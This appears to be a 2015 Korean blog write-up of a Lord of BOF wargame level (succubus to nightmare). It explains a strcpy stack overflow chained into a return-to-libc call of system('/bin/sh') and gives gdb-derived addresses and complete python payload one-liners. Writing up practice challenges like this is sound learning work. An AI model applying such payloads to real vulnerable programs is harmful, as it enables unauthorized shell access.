systemhacking/practice

lob succubus->nightmare

qkqhxla1 2015. 1. 30. 13:53

argv[1]에 입력한 값을 잘 변조해서 쉘이 실행되게끔 하면 된다.

strcpy(buffer, argv[1]); 이다.

system함수+아무거나4개(system함수의 ret)+/bin/sh주소+아무거나32개+ret는 strcpy함수의 주소로 덮어씌운 후+아무거나 4개(strcpy함수의 ret)+바로 앞의 strcpy함수의 ret주소+system함수의 주소를 넣은곳의 주소


처럼 넣게되면 buffer에는 system함수와 그 인자로 알아서 채워질테고, ret이 strcpy함수로 변조되므로 strcpy함수가 실행된다. strcpy(dst, src)처럼 뒤의 내용을 앞으로 복사하므로, dst에는 strcpy함수의 ret주소, 앞에는 system함수가 들어간 곳의 주소(버퍼 시작 주소)가 들어가게 될테고, strcpy에 의해서 strcpy함수가 끝나고 다음 실행될 ret자리에 system함수가 들어감으로서 쉘이 실행되게 된다.


그러면 여기에서 알아내야 할건 strcpy의 ret의 주소, system함수가 들어간 주소, strcpy함수의 주소가 필요하다. 위의 바이트수는 60바이트므로 넣어서 알아보자.


일단 원래의 nightmare.c 를 nightmar1.c로 복사 후 자동으로 dumpcode.h라는 헤더가 들어가 있으므로 맨 아래의 memset()윗줄에 dumpcode(buffer,400); 를 추가 후 gdb로 열어보자. 일단 strcpy함수의 주소는 p strcpy로 알아낼수 있다. ( 0x8048410 출력. ) 브레이크포인트를 strcpy함수에 건 후 

 if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

라는 조건이 있으므로 이 조건을 통과하고 주소를 알아내기 위해 

r `python -c 'print "a"*44+"\x10\x84\x04\x08"+"a"*12'` 처럼 실행해보자. (아무렇게나 60개를 채워서 주소를 알아내기 위함)



알아냈다. 버퍼시작주소 : 0xbffffaa0, strcpy의 ret : 0xbffffad0 이므로

./nightmar1 `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"a"*32+"\x10\x84\x04\x08"+"aaaa"+"\xd0\xfa\xff\xbf"+"\xa0\xfa\xff\xbf"'` 


처럼 입력하면 에러가 뜨면서 버퍼상황이 다시 보인다. 조금 주소가 바뀐것같다.

시작주소는 0xbffffab0, strcpy의 ret는 0xbffffae0이다. 바꿔서 공격하면 성공을 확인할수 있다. 원본 프로그램에도 동일하게 공격하면 성공한다.





'systemhacking > practice' 카테고리의 다른 글

bof xavius->death_knight  (0) 2015.02.01
lob nightmare->xavius  (0) 2015.01.30
lob zombie_assassin->succubus  (0) 2015.01.29
lob assassin->zombie_assassin (fake ebp)  (0) 2015.01.28
lob giant->assassin  (0) 2015.01.27